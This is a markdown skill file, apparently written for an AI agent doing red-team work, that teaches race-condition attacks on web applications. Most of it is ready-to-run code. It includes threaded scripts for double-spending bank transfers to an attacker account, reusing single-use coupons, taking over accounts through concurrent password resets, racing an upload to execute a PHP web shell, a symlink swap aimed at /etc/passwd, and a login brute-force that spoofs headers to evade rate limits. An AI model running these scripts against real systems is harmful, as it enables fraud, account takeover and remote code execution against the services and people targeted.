---
name: rt-race-conditions
description: "Race condition and concurrency attack skill for authorized engagements. TOCTOU (Time-of-Check-Time-of-Use) exploitation, HTTP/2 single-packet race attacks, API rate limit and balance bypass, coupon/voucher reuse via parallel requests, account takeover via concurrent password reset, file upload race conditions, Burp Suite Turbo Intruder for single-packet attacks, and limit-one bypass techniques. Use when testing web applications, APIs, or any system with concurrent request handling."
---

# rt-race-conditions — Race Conditions & Concurrency Attacks

## Overview

Race conditions occur when application behavior depends on the timing of concurrent operations. A window of time between a check and its corresponding action (TOCTOU) allows attackers to exploit the gap. Modern HTTP/2 makes these attacks more reliable by sending multiple requests in a single TCP packet — eliminating network jitter.

**High-value targets:**
- Financial transactions (double-spend, balance manipulation)
- Coupon/promo code systems (use once → use many times)
- Account limits (free tier bypass, rate limit evasion)
- Password reset / email verification flows
- File operations (symlink attacks, upload processing)

---

## Phase 1 — Identify Race Condition Candidates

```bash
# Patterns that suggest race condition vulnerabilities:

# 1. "Use once" operations
# - Promo codes / coupons
# - Gift card redemption
# - One-time tokens (password reset, email verify)
# - Referral bonuses

# 2. Limit-based operations
# - "Maximum 1 per account"
# - Rate-limited API calls
# - Free tier resource limits
# - Transfer limits

# 3. Check-then-act patterns
# if balance >= amount: deduct(amount)  ← race window here
# if coupon_used == false: apply(coupon)  ← race window here
# if slot_available: reserve(slot)  ← race window here

# 4. File/resource operations
# Upload → validate → move  ← race in validate step
# Create temp file → process → delete  ← TOCTOU

# Test tool: Burp Suite Repeater / Turbo Intruder
# Browser: DevTools Network tab — look for state-changing requests
```

---

## Phase 2 — HTTP/2 Single-Packet Race Attack

```bash
# HTTP/2 allows multiple requests in one TCP packet
# All requests arrive at server simultaneously → eliminates network jitter
# Makes race window exploitation much more reliable

# Burp Suite — single-packet attack (built-in since v2023.9)
# 1. Capture the target request in Proxy
# 2. Send to Repeater
# 3. Create a group of identical requests (right-click → Add to group)
# 4. Set connection: Send group in parallel (single-packet attack)
# 5. Send → all requests hit server simultaneously

# Turbo Intruder (Burp extension) — more control
# Extensions → BApp Store → Turbo Intruder

# race_single_packet.py (Turbo Intruder script)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=50,  # 50 requests in one packet
                           pipeline=True)
    for i in range(50):
        engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)

# Python requests — parallel race
import requests, threading, time

url = "https://target.com/api/redeem-coupon"
headers = {"Cookie": "session=YOUR_SESSION", "Content-Type": "application/json"}
data = '{"coupon_code": "SAVE50"}'

results = []
def send_request():
    r = requests.post(url, headers=headers, data=data)
    results.append(r.status_code)

# Launch 20 threads simultaneously
threads = [threading.Thread(target=send_request) for _ in range(20)]

# Synchronize start — all fire at same moment
barrier = threading.Barrier(20)
def synchronized_send():
    barrier.wait()  # Wait for all threads to be ready
    send_request()

threads = [threading.Thread(target=synchronized_send) for _ in range(20)]
[t.start() for t in threads]
[t.join() for t in threads]
print(f"Results: {results}")
# Multiple 200 responses = race condition exploited
```

---

## Phase 3 — Balance / Financial Race Conditions

```bash
# Double-spend attack: transfer money twice before balance updates

# Scenario: Transfer $100 from account with $100 balance
# Check: balance >= 100? YES
# [RACE WINDOW — send second request here]
# Deduct: balance = 0

# Both requests check balance = 100 → both pass → balance goes negative

python3 << 'EOF'
import requests, threading

session = requests.Session()
session.cookies.set("session", "YOUR_SESSION_TOKEN")

url = "https://bank.target.com/api/transfer"
payload = {"to_account": "ATTACKER_ACCOUNT", "amount": 100}

def transfer():
    r = session.post(url, json=payload)
    print(f"Status: {r.status_code} | Response: {r.text[:100]}")

# Synchronize 10 transfer requests
barrier = threading.Barrier(10)
def sync_transfer():
    barrier.wait()
    transfer()

threads = [threading.Thread(target=sync_transfer) for _ in range(10)]
[t.start() for t in threads]
[t.join() for t in threads]
EOF

# Same technique for:
# - Withdrawing more than balance
# - Applying a discount multiple times
# - Claiming a reward multiple times
```

---

## Phase 4 — Coupon / Promo Code Bypass

```bash
# One-use coupon exploited multiple times

# Step 1: Identify the redeem endpoint
# POST /api/cart/apply-coupon {"code": "SAVE50"}

# Step 2: Add item to cart, don't redeem yet
# Step 3: Send 20+ parallel redemption requests

python3 << 'EOF'
import requests, threading

BASE = "https://shop.target.com"
SESSION = "your_session_cookie"

def apply_coupon():
    r = requests.post(f"{BASE}/api/cart/apply-coupon",
                      json={"code": "SAVE50"},
                      cookies={"session": SESSION})
    print(r.status_code, r.json().get("discount", ""))

# Fire 20 simultaneous requests
barrier = threading.Barrier(20)
def go():
    barrier.wait()
    apply_coupon()

threads = [threading.Thread(target=go) for _ in range(20)]
[t.start() for t in threads]
[t.join() for t in threads]

# Check cart total — likely applied multiple times
r = requests.get(f"{BASE}/api/cart", cookies={"session": SESSION})
print("Cart total:", r.json().get("total"))
EOF
```

---

## Phase 5 — Account Takeover via Concurrent Password Reset

```bash
# Some apps generate short/predictable tokens
# Race: request multiple resets → multiple valid tokens → brute force shorter

# More common: email-based OTP reuse
# Reset token sent → token valid for 10 min → can be reused multiple times
# (No invalidation on first use = not a race, just a bug)

# Actual race: some apps invalidate token only AFTER successful reset
# Two simultaneous reset requests with same token:
# Request 1: validate(token) → valid → reset password → invalidate(token)
# Request 2: validate(token) → valid (check happened before invalidation)
# Both succeed → control account

python3 << 'EOF'
import requests, threading

token = "RESET_TOKEN_FROM_EMAIL"
new_pass_1 = "Attacker1!"
new_pass_2 = "Attacker2!"

def reset(new_password):
    r = requests.post("https://target.com/reset-password",
                      json={"token": token, "password": new_password})
    print(f"Password {new_password}: {r.status_code} {r.text[:50]}")

barrier = threading.Barrier(2)
t1 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_1)])
t2 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_2)])
t1.start(); t2.start()
t1.join(); t2.join()
# If both 200 → token used twice → race confirmed
EOF
```

---

## Phase 6 — File Upload Race Conditions

```bash
# Upload → validate → move to final location
# Race window: between upload and validation
# If validation only checks file after move → bypass possible

# Scenario: app uploads file, validates it's an image, then serves it
# Race: upload PHP shell → immediately request it before validation deletes it

python3 << 'EOF'
import requests, threading, time

url_upload = "https://target.com/upload"
url_exec   = "https://target.com/uploads/shell.php?cmd=id"
session_cookie = {"session": "YOUR_SESSION"}

shell_content = b"<?php system($_GET['cmd']); ?>"

def upload():
    files = {"file": ("shell.php", shell_content, "image/jpeg")}
    return requests.post(url_upload, files=files, cookies=session_cookie)

def execute():
    for _ in range(100):  # Keep trying during race window
        r = requests.get(url_exec, cookies=session_cookie)
        if "uid=" in r.text:
            print("RCE:", r.text[:100])
            return
        time.sleep(0.01)

# Upload and immediately try to execute in parallel
t_upload = threading.Thread(target=upload)
t_exec   = threading.Thread(target=execute)
t_exec.start()   # Start execution attempts first
t_upload.start() # Then upload
t_upload.join(); t_exec.join()
EOF
```

---

## Phase 7 — TOCTOU in File System

```bash
# Time-of-Check-Time-of-Use on filesystem
# Scenario: app checks if path is safe, then opens it
# Race: replace safe path with symlink to /etc/passwd between check and open

# Classic symlink attack
mkdir /tmp/race
ln -s /etc/passwd /tmp/race/target  # Create symlink

# If app does:
# if os.path.isfile("/tmp/user_upload"):  ← CHECK
#     process("/tmp/user_upload")          ← USE (could be symlink now)

# Race script
while true; do
    rm -f /tmp/user_upload
    cp benign_file.txt /tmp/user_upload    # Safe file (passes check)
    rm -f /tmp/user_upload
    ln -s /etc/passwd /tmp/user_upload     # Symlink (used in action)
done &

# Trigger the vulnerable app operation repeatedly
# If successful → app reads /etc/passwd instead of user file
```

---

## Phase 8 — Rate Limit Bypass

```bash
# Rate limits often implemented per-IP or per-session
# Race can send burst before counter increments

# Identify rate-limited endpoint
# POST /api/login → 5 attempts/min → locked

# Bypass: send all attempts simultaneously before counter processes them
python3 << 'EOF'
import requests, threading

passwords = ["Summer2024!", "Password1!", "Welcome1!", "Admin123!", 
             "Company2024!", "Spring2024!", "Winter2024!", "Fall2024!"]

def try_password(p):
    r = requests.post("https://target.com/login",
                      json={"username": "admin", "password": p},
                      headers={"X-Forwarded-For": f"1.2.3.{hash(p) % 255}"})
    if "invalid" not in r.text.lower():
        print(f"SUCCESS: {p}")

barrier = threading.Barrier(len(passwords))
threads = [threading.Thread(target=lambda p=p: [barrier.wait(), try_password(p)])
           for p in passwords]
[t.start() for t in threads]
[t.join() for t in threads]
EOF
```

---

## Skill Levels

**BEGINNER:** Burp Repeater parallel group → coupon/promo bypass → observe multiple success responses

**INTERMEDIATE:** Turbo Intruder single-packet attack → balance manipulation → password reset token reuse

**ADVANCED:** File upload race → TOCTOU symlink → rate limit burst bypass with IP rotation

**EXPERT:** Custom HTTP/2 single-packet tooling → distributed race across multiple sessions → chaining with other vulns

---

## References

- PortSwigger Race Conditions: https://portswigger.net/web-security/race-conditions
- Turbo Intruder: https://github.com/PortSwigger/turbo-intruder
- HTTP/2 Single Packet Attack paper: https://portswigger.net/research/smashing-the-state-machine
- MITRE T1499.004: https://attack.mitre.org/techniques/T1499/004/
